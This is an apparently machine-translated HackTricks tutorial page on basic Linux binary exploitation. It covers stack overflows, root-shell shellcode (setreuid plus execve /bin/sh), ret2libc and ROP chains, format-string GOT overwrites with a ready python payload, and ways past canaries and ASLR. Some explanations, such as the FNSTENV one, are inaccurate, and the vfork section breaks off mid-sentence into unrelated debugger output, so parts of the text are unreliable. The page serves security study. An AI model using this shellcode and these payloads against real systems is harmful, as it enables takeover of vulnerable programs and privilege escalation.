hacktricks/exploiting/linux-exploiting-basic-esp
2023-06-03 01:46:23 +00:00
..
rop-leaking-libc-address Translated to Spanish 2023-06-03 01:46:23 +00:00
bypassing-canary-and-pie.md Translated to Spanish 2023-06-03 01:46:23 +00:00
format-strings-template.md Translated to Spanish 2023-06-03 01:46:23 +00:00
fusion.md Translated to Spanish 2023-06-03 01:46:23 +00:00
README.md Translated to Spanish 2023-06-03 01:46:23 +00:00
ret2lib.md Translated to Spanish 2023-06-03 01:46:23 +00:00
rop-syscall-execv.md Translated to Spanish 2023-06-03 01:46:23 +00:00

Linux Exploiting (Básico)

Linux Exploiting (Básico)

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

ASLR

Aleatorización de direcciones

Desactivar aleatorización (ASLR) GLOBAL (root):
echo 0 > /proc/sys/kernel/randomize_va_space
Reactivar aleatorización GLOBAL: echo 2 > /proc/sys/kernel/randomize_va_space

Desactivar para una ejecución (no requiere root):
setarch `arch` -R ./ejemplo argumentos
setarch `uname -m` -R ./ejemplo argumentos

Desactivar protección de ejecución en pila
gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack ejemplo.c -o ejemplo

Core file
ulimit -c unlimited
gdb /exec core_file
/etc/security/limits.conf -> * soft core unlimited

Text
Data
BSS
Heap

Stack

Sección BSS: Variables globales o estáticas sin inicializar

static int i;

Sección DATA: Variables globales o estáticas inicializadas

int i = 5;

Sección TEXT: Instructions del código (opcodes)

Sección HEAP: Buffers reservados de forma dinámica (malloc(), calloc(), realloc())

Sección STACK: La pila (Argumentos pasados, cadenas de entorno (env), variables locales…)

1. DESBORDAMIENTO DE PILA (STACK OVERFLOWS)

Desbordamiento de buffer, sobrecarga de buffer, sobrecarga de pila, aplastamiento de pila

Fallo de segmentación o violación de segmento: Cuando se intenta acceder a una dirección de memoria que no ha sido asignada al proceso.

Para obtener la dirección de una función dentro de un programa se puede hacer:

objdump -d ./PROGRAMA | grep FUNCION

ROP

Llamada a sys_execve

{% content-ref url="rop-syscall-execv.md" %} rop-syscall-execv.md {% endcontent-ref %}

2.SHELLCODE

Para ver las interrupciones del kernel: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep "\_\_NR\_"

setreuid(0,0); // __NR_setreuid 70
execve("/bin/sh", args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1

xor eax, eax ; limpiamos eax
xor ebx, ebx ; ebx = 0 pues no hay argumento que pasar
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; Ejecutar syscall

nasm -f elf assembly.asm —> Devuelve un archivo .o
ld assembly.o -o shellcodeout —> Genera un ejecutable formado por el código ensamblador y podemos sacar los opcodes con objdump
objdump -d -Mintel ./shellcodeout —> Para verificar que es nuestra shellcode y obtener los OpCodes

Comprobar que la shellcode funciona

char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”

void main(){
            void (*fp) (void);
            fp = (void *)shellcode;
            fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>

To verify that system calls are being made correctly, you should compile the previous program and the system calls should appear in strace ./COMPILED_PROGRAM.

When creating shellcodes, a trick can be used. The first instruction is a jump to a call. The call calls the original code and also puts the EIP on the stack. After the call instruction, we have inserted the string we need, so with that EIP we can point to the string and continue executing the code.

EXAMPLE TRICK (/bin/sh):

jmp                 0x1f                                        ; Salto al último call
popl                %esi                                       ; Guardamos en ese la dirección al string
movl               %esi, 0x8(%esi)       ; Concatenar dos veces el string (en este caso /bin/sh)
xorl                 %eax, %eax             ; eax = NULL
movb  %eax, 0x7(%esi)     ; Ponemos un NULL al final del primer /bin/sh
movl               %eax, 0xc(%esi)      ; Ponemos un NULL al final del segundo /bin/sh
movl   $0xb, %eax               ; Syscall 11
movl               %esi, %ebx               ; arg1=“/bin/sh”
leal                 0x8(%esi), %ecx      ; arg[2] = {“/bin/sh”, “0”}
leal                 0xc(%esi), %edx      ; arg3 = NULL
int                    $0x80                         ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl                 %ebx, %ebx             ; ebx = NULL
movl   %ebx, %eax            
inc                   %eax                          ; Syscall 1
int                    $0x80                         ; exit(0)
call                  -0x24                          ; Salto a la primera instrución
.string             \”/bin/sh\”                               ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>

Using the Stack (/bin/sh):

En algunos casos, podemos encontrar vulnerabilidades de desbordamiento de búfer que nos permiten sobrescribir la dirección de retorno de una función y, por lo tanto, controlar la ejecución del programa. En estos casos, podemos utilizar el shellcode /bin/sh para obtener una shell en el sistema.

Para hacer esto, primero necesitamos encontrar la dirección de memoria del shellcode /bin/sh. Podemos hacer esto utilizando la herramienta objdump para desensamblar el binario y buscar la dirección de memoria del shellcode.

Una vez que tenemos la dirección de memoria del shellcode, podemos sobrescribir la dirección de retorno de la función con esta dirección y, cuando la función devuelve el control, se ejecutará el shellcode /bin/sh.

Este método es muy útil para obtener acceso a una shell en sistemas vulnerables y puede ser utilizado en combinación con otras técnicas de explotación para obtener acceso completo al sistema.

section .text
global _start
_start:
xor                  eax, eax                     ;Limpieza
mov                al, 0x46                      ; Syscall 70
xor                  ebx, ebx                     ; arg1 = 0
xor                  ecx, ecx                     ; arg2 = 0
int                    0x80                           ; setreuid(0,0)
xor                  eax, eax                     ; eax = 0
push   eax                             ; “\0”
push               dword 0x68732f2f ; “//sh”
push               dword 0x6e69622f; “/bin”
mov                ebx, esp                     ; arg1 = “/bin//sh\0”
push               eax                             ; Null -> args[1]
push               ebx                             ; “/bin/sh\0” -> args[0]
mov                ecx, esp                     ; arg2 = args[]
mov                al, 0x0b                      ; Syscall 11
int                    0x80                           ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)

EJ FNSTENV:

La técnica de ataque EJ FNSTENV se utiliza para explotar vulnerabilidades de desbordamiento de búfer en sistemas Linux. Esta técnica aprovecha el hecho de que la instrucción FNSTENV se utiliza para almacenar el estado de punto flotante en la pila. Al explotar una vulnerabilidad de desbordamiento de búfer, un atacante puede sobrescribir la dirección de retorno de una función y hacer que apunte a la instrucción FNSTENV. Luego, el atacante puede modificar el estado de punto flotante para ejecutar código malicioso. Esta técnica es especialmente útil en sistemas que utilizan la protección de pila no ejecutable (NX) ya que permite a un atacante ejecutar código en una región de memoria que normalmente estaría prohibida.

fabs
fnstenv [esp-0x0c]
pop eax                     ; Guarda el EIP en el que se ejecutó fabs
…

Cazador de huevos:

Es un pequeño código que busca la shellcode almacenada en las páginas de memoria asociadas a un proceso, buscando una firma específica en la shellcode. Es útil en casos en los que solo se dispone de un pequeño espacio para inyectar código.

Shellcodes polimórficos

Son shells cifradas que contienen un pequeño código que las descifra y salta a ellas, utilizando el truco de Call-Pop. Un ejemplo de cifrado César sería:

global _start
_start:
            jmp short magic
init:
            pop     esi
            xor      ecx, ecx
            mov    cl,0                              ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
            sub     byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
            sub     cl, 1
            jnz       desc
            jmp     short sc
magic:
            call init
sc:
            ;Aquí va el shellcode
  1. Atacando el Frame Pointer (EBP)

Este método es útil en situaciones en las que podemos modificar el EBP pero no el EIP.

Se sabe que al salir de una función se ejecuta el siguiente código ensamblador:

movl               %ebp, %esp
popl                %ebp
ret

De esta manera, si se puede modificar el EBP al salir de una función (fvuln) que ha sido llamada por otra función, cuando la función que llamó a fvuln finalice, su EIP puede ser modificado.

En fvuln se puede introducir un EBP falso que apunte a un sitio donde esté la dirección de la shellcode + 4 (hay que sumarle 4 por el pop). Así, al salir de la función, se meterá en ESP el valor de &(&Shellcode)+4, con el pop se le restará 4 al ESP y este apuntará a la dirección de la shellcode cuando se ejecute el ret.

Exploit:
&Shellcode + "AAAA" + SHELLCODE + relleno + &(&Shellcode)+4

Exploit Off-by-One
Se permite modificar tan solo el byte menos significativo del EBP. Se puede llevar a cabo un ataque como el anterior pero la memoria que guarda la dirección de la shellcode debe compartir los 3 primeros bytes con el EBP.

4. Métodos return to Libc

Método útil cuando el stack no es ejecutable o deja un buffer muy pequeño para modificar.

El ASLR provoca que en cada ejecución las funciones se carguen en posiciones distintas de la memoria. Por lo tanto este método puede no ser efectivo en ese caso. Para servidores remotos, como el programa está siendo ejecutado constantemente en la misma dirección sí puede ser útil.

  • cdecl(C declaration) Mete los argumentos en el stack y tras salir de la función limpia la pila
  • stdcall(standard call) Mete los argumentos en la pila y es la función llamada la que la limpia
  • fastcall Mete los dos primeros argumentos en registros y el resto en la pila

Se pone la dirección de la instrucción system de libc y se le pasa como argumento el string “/bin/sh”, normalmente desde una variable de entorno. Además, se usa la dirección a la función exit para que una vez que no se requiera más la shell, salga el programa sin dar problemas (y escribir logs).

export SHELL=/bin/sh

Para encontrar las direcciones que necesitaremos se puede mirar dentro de GDB:
p system
p exit
rabin2 -i ejecutable —> Da la dirección de todas las funciones que usa el programa al cargarse
(Dentro de un start o algun breakpoint): x/500s $esp —> Buscamos dentro de aqui el string /bin/sh

Una vez tengamos estas direcciones el exploit quedaría:

“A” * DISTANCIA EBP + 4 (EBP: pueden ser 4 "A"s aunque mejor si es el EBP real para evitar fallos de segmentación) + Dirección de system (sobreescribirá el EIP) + Dirección de exit (al salir de system(“/bin/sh”) se llamará a esta función pues los primero 4bytes del stack son tratados como la siguiente dirección del EIP a ejecutar) + Dirección de “/bin/sh” (será el parámetro pasado a system)

De esta forma el EIP se sobreescribirá con la dirección de system la cual recibirá como parámetro el string “/bin/sh” y al salir de este ejecutará la función exit().

Es posible encontrarse en la situación de que algún byte de alguna dirección de alguna función sea nulo o espacio (\x20). En ese caso se pueden desensamblar las direcciones anteriores a dicha función pues probablemente haya varios NOPs que nos permitan poder llamar a alguno de ellos en vez de a la función directamente (por ejemplo con > x/8i system-4).

Este método funciona pues al llamar a una función como system usando el opcode ret en vez de call, la función entiende que los primeros 4bytes serán la dirección EIP a la que volver.

Una técnica interesante con este método es el llamar a strncpy() para mover un payload del stack al heap y posteriormente usar gets() para ejecutar dicho payload.

Otra técnica interesante es el uso de mprotect() la cual permite asignar los permisos deseados a cualquier parte de la memoria. Sirve o servía en BDS, MacOS y OpenBSD, pero no en linux(controla que no se puedan otorgar a la vez permisos de escritura y ejecución). Con este ataque se podría volver a configurar la pila como ejecutable.

Encadenamiento de funciones

Basándonos en la técnica anterior, esta forma de exploit consiste en:
Relleno + &Función1 + &pop;ret; + &arg_fun1 + &Función2 + &pop;ret; + &arg_fun2 + …

De esta forma se pueden encadenar funciones a las que llamar. Además, si se quieren usar funciones con varios argumentos, se pueden poner los argumentos necesarios (ej 4) y buscar dirección a un sitio con opcodes: pop, pop, pop, pop, ret —> objdump -d ejecutable

Encadenamiento mediante falseo de frames (encadenamiento de EBPs)

Consiste en aprovechar el poder manipular el EBP para ir encadenando la ejecución de varias funciones a través del EBP y de "leave;ret"

RELLENO

  • Situamos en el EBP un EBP falso que apunta a: 2º EBP_falso + la función a ejecutar: (&system() + &leave;ret + &“/bin/sh”)
  • En el EIP ponemos de dirección una función &(leave;ret)

Iniciamos la shellcode con la dirección a la siguiente parte de la shellcode, por ej: 2ºEBP_falso + &system() + &(leave;ret;) + &”/bin/sh”

el 2ºEBP sería: 3ºEBP_falso + &system() + &(leave;ret;) + &”/bin/ls”

Esta shellcode se puede repetir indefinidamente en las partes de memoria a las que se tenga acceso de forma que se conseguirá una shellcode fácilmente divisible por pequeños trozos de memoria.

(Se encadena la ejecución de funciones mezclando las vulnerabilidades vistas anteriormente de EBP y de ret2lib)

5.Métodos complementarios

Ret2Ret

Útil para cuando no se puede meter una dirección del stack en el EIP (se comprueba que el EIP no contenga 0xbf) o cuando no se puede calcular la ubicación de la shellcode. Pero, la función vulnerable acepte un parámetro (la shellcode irá aquí).

De esta forma, al cambiar el EIP por una dirección a un ret, se cargará la siguiente dirección (que es la dirección del primer argumento de la función). Es decir, se cargará la shellcode.

El exploit quedaría: SHELLCODE + Relleno (hasta EIP) + &ret (los siguientes bytes de la pila apuntan al inicio de la shellcode pues se mete en el stack la dirección al parámetro pasado)

Al parecer funciones como strncpy una vez completas eliminan de la pila la dirección donde estaba guardada la shellcode imposibilitando esta técnica. Es decir, la dirección que pasan a la función como argumento (la que guarda la shellcode) es modificada por un 0x00 por lo que al llamar al segundo ret se encuentra con un 0x00 y el programa muere.

        **Ret2PopRet**

Si no tenemos control sobre el primer argumento pero sí sobre el segundo o el tercero, podemos sobreescribir EIP con una dirección a pop-ret o pop-pop-ret, según la que necesitemos.

Técnica de Murat

En Linux, todos los programas se mapean comenzando en 0xbfffffff.

Viendo cómo se construye la pila de un nuevo proceso en Linux, se puede desarrollar un exploit de forma que el programa sea arrancado en un entorno cuya única variable sea la shellcode. La dirección de esta entonces se puede calcular como: addr = 0xbfffffff - 4 - strlen(NOMBRE_ejecutable_completo) - strlen(shellcode)

De esta forma, se obtendría de forma sencilla la dirección donde está la variable de entorno con la shellcode.

Esto se puede hacer gracias a que la función execle permite crear un entorno que solo tenga las variables de entorno que se deseen.

Jump to ESP: Windows Style

Debido a que el ESP está apuntando al comienzo del stack siempre, esta técnica consiste en sustituir el EIP con la dirección a una llamada a jmp esp o call esp. De esta forma, se guarda la shellcode después de la sobreescritura del EIP ya que después de ejecutar el ret el ESP se encontrará apuntando a la dirección siguiente, justo donde se ha guardado la shellcode.

En caso de que no se tenga el ASLR activo en Windows o Linux, se puede llamar a jmp esp o call esp almacenadas en algún objeto compartido. En caso de que esté el ASLR, se podría buscar dentro del propio programa vulnerable.

Además, el hecho de poder colocar la shellcode después de la corrupción del EIP en vez de en medio del stack, permite que las instrucciones push o pop que se ejecuten en medio de la función no lleguen a tocar la shellcode (cosa que podría ocurrir en caso de ponerse en medio del stack de la función).

De forma muy similar a esto, si sabemos que una función devuelve la dirección donde está guardada la shellcode, se puede llamar a call eax o jmp eax (ret2eax).

ROP (Return Oriented Programming) o borrowed code chunks

Los trozos de código que se invocan se conocen como gadgets.

Esta técnica consiste en encadenar distintas llamadas a funciones mediante la técnica de ret2libc y el uso de pop,ret.

En algunas arquitecturas de procesadores, cada instrucción es un conjunto de 32 bits (MIPS, por ejemplo). Sin embargo, en Intel, las instrucciones son de tamaño variable y varias instrucciones pueden compartir un conjunto de bits, por ejemplo:

movl $0xe4ff, -0x(%ebp) —> Contiene los bytes 0xffe4 que también se traducen por: jmp *%esp

De esta forma, se pueden ejecutar algunas instrucciones que realmente ni siquiera están en el programa original.

ROPgadget.py nos ayuda a encontrar valores en binarios.

Este programa también sirve para crear los payloads. Le puedes dar la librería de la que quieres sacar los ROPs y él generará un payload en python al cual tú le das la dirección en la que está dicha librería y el payload ya está listo para ser usado como shellcode. Además, como usa llamadas al sistema, no ejecuta realmente nada en el stack sino que solo va guardando direcciones de ROPs que se ejecutarán mediante ret. Para usar este payload, hay que llamar al payload mediante una instrucción ret.

Integer overflows

Este tipo de overflows se producen cuando una variable no está preparada para soportar un número tan grande como se le pasa, posiblemente por una confusión entre variables con y sin signo, por ejemplo:

#include <stdion.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char *argv[]){
int len;
unsigned int l;
char buffer[256];
int i;
len = l = strtoul(argv[1], NULL, 10);
printf("\nL = %u\n", l);
printf("\nLEN = %d\n", len);
if (len >= 256){
printf("\nLongitus excesiva\n");
exit(1);
}
if(strlen(argv[2]) < l)
strcpy(buffer, argv[2]);
else
printf("\nIntento de hack\n");
return 0;
}

En el ejemplo anterior vemos que el programa espera dos parámetros. El primero es la longitud de la cadena siguiente y el segundo es la cadena en sí.

Si le pasamos un número negativo como primer parámetro, se mostrará que len < 256 y pasaremos ese filtro. Además, strlen(buffer) será menor que l, ya que l es un unsigned int y será muy grande.

Este tipo de desbordamientos no busca escribir algo en el proceso del programa, sino superar filtros mal diseñados para explotar otras vulnerabilidades.

Variables no inicializadas

No se sabe el valor que puede tomar una variable no inicializada y podría ser interesante observarlo. Puede ser que tome el valor que tomaba una variable de la función anterior y esta sea controlada por el atacante.

Format Strings

En C, printf es una función que se puede utilizar para imprimir una cadena. El primer parámetro que espera esta función es el texto sin formato con los formateadores. Los parámetros siguientes esperados son los valores para sustituir los formateadores del texto sin formato.

La vulnerabilidad aparece cuando un atacante coloca un texto especial como primer argumento en esta función. El atacante podrá crear una entrada especial abusando de las capacidades de formato de cadena de printf para escribir cualquier dato en cualquier dirección. De esta manera, podrá ejecutar código arbitrario.

Formateadores:

%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

El %n escribe el número de bytes escritos en la dirección indicada. Escribir tantos bytes como el número hexadecimal que necesitamos escribir es cómo podemos escribir cualquier dato.

AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500

**GOT (Tabla Global de Desplazamientos) / PLT (**Tabla de Enlace de Procedimientos)

Esta es la tabla que contiene la dirección de las funciones externas utilizadas por el programa.

Obtén la dirección de esta tabla con: objdump -s -j .got ./exec

Observa cómo después de cargar el ejecutable en GEF puedes ver las funciones que están en el GOT: gef➤ x/20x 0xDIR_GOT

Usando GEF puedes iniciar una sesión de depuración y ejecutar got para ver la tabla got:

En un binario, el GOT tiene las direcciones de las funciones o de la sección PLT que cargará la dirección de la función. El objetivo de esta explotación es sobrescribir la entrada GOT de una función que se va a ejecutar más tarde con la dirección del PLT de la función system. Idealmente, sobrescribirás el GOT de una función que se llamará con parámetros controlados por ti (para que puedas controlar los parámetros enviados a la función del sistema).

Si system no se usa en el script, la función del sistema no tendrá una entrada en el GOT. En este escenario, necesitarás filtrar primero la dirección de la función system.

La Tabla de Enlace de Procedimientos es una tabla de solo lectura en el archivo ELF que almacena todos los símbolos necesarios que necesitan una resolución. Cuando se llama a una de estas funciones, el GOT redirigirá el flujo al PLT para que pueda resolver la dirección de la función y escribirla en el GOT.
Luego, la próxima vez que se realice una llamada a esa dirección, la función se llama directamente sin necesidad de resolverla.

Puedes ver las direcciones PLT con objdump -j .plt -d ./vuln_binary

Flujo de Explotación

Como se explicó anteriormente, el objetivo va a ser sobrescribir la dirección de una función en la tabla GOT que se va a llamar más tarde. Idealmente, podríamos establecer la dirección en un shellcode ubicado en una sección ejecutable, pero es muy probable que no puedas escribir un shellcode en una sección ejecutable.
Entonces, una opción diferente es sobrescribir una función que recibe sus argumentos del usuario y apuntarla a la función system.

Para escribir la dirección, generalmente se realizan 2 pasos: primero se escriben 2 bytes de la dirección y luego los otros 2. Para hacerlo se utiliza $hn.

HOB se refiere a los 2 bytes más altos de la dirección
LOB se refiere a los 2 bytes más bajos de la dirección

Entonces, debido a cómo funciona la cadena de formato, necesitas escribir primero el más pequeño de [HOB, LOB] y luego el otro.

Si HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

Si HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB

`python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'`

Plantilla de Explotación de Cadena de Formato

Puedes encontrar una plantilla para explotar el GOT usando cadenas de formato aquí:

{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}

.fini_array

Básicamente, esta es una estructura con funciones que se llamarán antes de que el programa termine. Esto es interesante si puedes llamar a tu shellcode saltando a una dirección, o en casos en los que necesitas volver a main de nuevo para explotar la cadena de formato una segunda vez.

objdump -s -j .fini_array ./greeting

./greeting:     file format elf32-i386

Contents of section .fini_array:
 8049934 a0850408

#Put your address in 0x8049934

Tenga en cuenta que esto no creará un bucle eterno porque cuando regrese a la función principal, el canario lo notará, el final de la pila podría estar corrompido y la función no se volverá a llamar. Por lo tanto, con esto podrá tener una ejecución más de la vulnerabilidad.

Cadenas de formato para volcar contenido

Una cadena de formato también puede ser abusada para volcar contenido de la memoria del programa.
Por ejemplo, en la siguiente situación hay una variable local en la pila que apunta a una bandera. Si encuentra dónde en la memoria está el puntero a la bandera, puede hacer que printf acceda a esa dirección e imprima la bandera:

Entonces, la bandera está en 0xffffcf4c

Y desde la fuga puede ver que el puntero a la bandera está en el octavo parámetro:

Por lo tanto, accediendo al octavo parámetro puede obtener la bandera:

Tenga en cuenta que después del ataque anterior y darse cuenta de que puede filtrar contenido, puede establecer punteros a printf en la sección donde se carga el ejecutable y volcarlo completamente.

DTOR

{% hint style="danger" %} Hoy en día es muy raro encontrar un binario con una sección dtor. {% endhint %}

Los destructores son funciones que se ejecutan antes de que el programa termine.
Si logra escribir una dirección a un shellcode en __DTOR_END__, eso se ejecutará antes de que el programa termine.
Obtenga la dirección de esta sección con:

objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”

Normalmente encontrarás la sección DTOR entre los valores ffffffff y 00000000. Así que si solo ves esos valores, significa que no hay ninguna función registrada. Por lo tanto, sobrescribe el 00000000 con la dirección del shellcode para ejecutarlo.

Cadenas de formato para desbordamientos de búfer

La función sprintf mueve una cadena formateada a una variable. Por lo tanto, se podría abusar del formateo de una cadena para causar un desbordamiento de búfer en la variable donde se copia el contenido. Por ejemplo, la carga útil %.44xAAAA escribirá 44B+"AAAA" en la variable, lo que puede causar un desbordamiento de búfer.

Estructuras __atexit

{% hint style="danger" %} Hoy en día es muy raro explotar esto. {% endhint %}

atexit() es una función a la que se le pasan otras funciones como parámetros. Estas funciones se ejecutarán al ejecutar un exit() o al retorno del main. Si puedes modificar la dirección de cualquiera de estas funciones para que apunte a un shellcode, por ejemplo, obtendrás el control del proceso, pero esto es actualmente más complicado. Actualmente, las direcciones de las funciones que se ejecutarán están ocultas detrás de varias estructuras y, finalmente, la dirección a la que apuntan no son las direcciones de las funciones, sino que están cifradas con XOR y desplazamientos con una clave aleatoria. Por lo tanto, actualmente este vector de ataque no es muy útil al menos en x86 y x64_86. La función de cifrado es PTR_MANGLE. Otras arquitecturas como m68k, mips32, mips64, aarch64, arm, hppa... no implementan el cifrado porque devuelve lo mismo que recibió como entrada. Por lo tanto, estas arquitecturas serían atacables por este vector.

setjmp() y longjmp()

{% hint style="danger" %} Hoy en día es muy raro explotar esto. {% endhint %}

Setjmp() permite guardar el contexto (los registros)
longjmp() permite restaurar el contexto.
Los registros guardados son: EBX, ESI, EDI, ESP, EIP, EBP
Lo que sucede es que EIP y ESP son pasados por la función PTR_MANGLE, por lo que la arquitectura vulnerable a este ataque es la misma que la anterior.
Son útiles para la recuperación de errores o interrupciones.
Sin embargo, por lo que he leído, los otros registros no están protegidos, así que si hay una call ebx, call esi o call edi dentro de la función que se está llamando, se puede tomar el control. O también se podría modificar EBP para modificar ESP.

VTable y VPTR en C++

Cada clase tiene una Vtable que es una matriz de punteros a métodos.

Cada objeto de una clase tiene un VPtr que es un puntero a la matriz de su clase. El VPtr es parte del encabezado de cada objeto, por lo que si se logra una sobrescritura del VPtr, se podría modificar para que apunte a un método ficticio para que al ejecutar una función se vaya al shellcode.

Medidas preventivas y evasiones

ASLR no tan aleatorio

PaX divide el espacio de direcciones del proceso en 3 grupos:

Código y datos iniciados y no iniciados: .text, .data y .bss —> 16 bits de entropía en la variable delta_exec, esta variable se inicia aleatoriamente con cada proceso y se suma a las direcciones iniciales

Memoria asignada por mmap() y bibliotecas compartidas —> 16 bits, delta_mmap

El stack —> 24 bits, delta_stack —> Realmente 11 (del byte 10º al 20º inclusive) —>alineado a 16 bytes —> 524.288 posibles direcciones reales del stack

Las variables de entorno y los argumentos se desplazan menos que un búfer en el stack.

Return-into-printf

Es una técnica para convertir un desbordamiento de búfer en un error de cadena de formato. Consiste en sustituir el EIP para que apunte a un printf de la función y pasarle como argumento una cadena de formato manipulada para obtener valores sobre el estado del proceso.

Ataque a bibliotecas

Las bibliotecas están en una posición con 16 bits de aleatoriedad = 65636 posibles direcciones. Si un servidor vulnerable llama a fork(), el espacio de direcciones de memoria se clona en el proceso hijo y se mantiene intacto. Por lo que se puede intentar hacer un ataque de fuerza bruta a la función usleep() de libc pasándole como argumento “16” de forma que cuando tarde más de lo normal en responder se habrá encontrado dicha función. Sabiendo dónde está dicha función se puede obtener delta_mmap y calcular las demás.

La única forma de estar seguros de que el ASLR funciona es usando arquitectura de 64 bits. Ahí no hay ataques de fuerza bruta.

StackGuard y StackShield

StackGuard inserta antes del EIP —> 0x000aff0d(null, \n, EndOfFile(EOF), \r) —> Siguen siendo vulnerables recv(), memcpy(), read(), bcoy() y no protege el EBP

StackShield es más elaborado que StackGuard

Guarda en una tabla (Global Return Stack) todas las direcciones EIP de vuelta de forma que el desbordamiento no cause ningún daño. Además, se pueden comparar ambas direcciones para ver si ha habido un desbordamiento.

También se puede comprobar la dirección de retorno con un valor límite, así si el EIP se va a un sitio distinto del habitual como el espacio de datos se sabrá. Pero esto se sortea con Ret-to-lib, ROPs o ret2ret.

Como se puede ver, StackShield tampoco protege las variables locales.

Stack Smash Protector (ProPolice) -fstack-protector

Se pone el canario antes del EBP. Reordena las variables locales para que los búferes estén en las posiciones más altas y así no puedan sobrescribir otras variables.

Además, realiza una copia segura de los argumentos pasados encima de la pila (encima de las vars locales) y usa estas copias como argumentos.

No puede proteger arrays de menos de 8 elementos ni búferes que formen parte de una estructura del usuario.

El canario es un número aleatorio sacado de “/dev/urandom” o, si no, es 0xff0a0000. Se almacena en TLS (Thread Local Storage). Los hilos comparten el mismo espacio de memoria, el TLS es un área que tiene variables globales o estáticas de cada hilo. Sin embargo, en principio estas son copiadas del proceso padre aunque el proceso hijo podría modificar estos datos sin modificar los del padre ni los de los demás hijos. El problema es que si se usa fork() pero no se crea un nuevo canario, entonces todos los procesos (padre e hijos) usan el mismo canario. En i386 se almacena en gs:0x14 y en x86_64 se almacena en fs:0x28

Esta protección localiza funciones que tengan búferes que puedan ser atacados e incluye en ellas código al principio de la función para colocar el canario y código al final para comprobarlo.

La función fork() realiza una copia exacta del proceso del padre, por eso mismo si un servidor web llama a fork() se puede hacer un ataque de fuerza bruta byte por byte hasta averiguar el canario que se está utilizando.

Si se usa la función execve() después de fork(), se sobrescribe el espacio y el ataque ya no es posible. vfork() permite ejecutar el proceso hijo sin crear un duplicado hasta que

gef➤  vmmap
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /tmp/tryc
0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /tmp/tryc
0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /tmp/tryc
0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /tmp/tryc
0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /tmp/tryc
0x0000555555559000 0x000055555557a000 0x0000000000000000 rw- [heap]
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  p fgets
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➤  search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/tryc'(0x555555557000-0x555555558000), permission=r--
  0x555555557fd0 - 0x555555557fe8  →   "\x00\xd1\xe4\xf7\xff\x7f[...]"

Sin relro:

gef➤  vmmap
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /tmp/try
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /tmp/try
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /tmp/try
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /tmp/try
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /tmp/try
0x0000000000405000 0x0000000000426000 0x0000000000000000 rw- [heap]
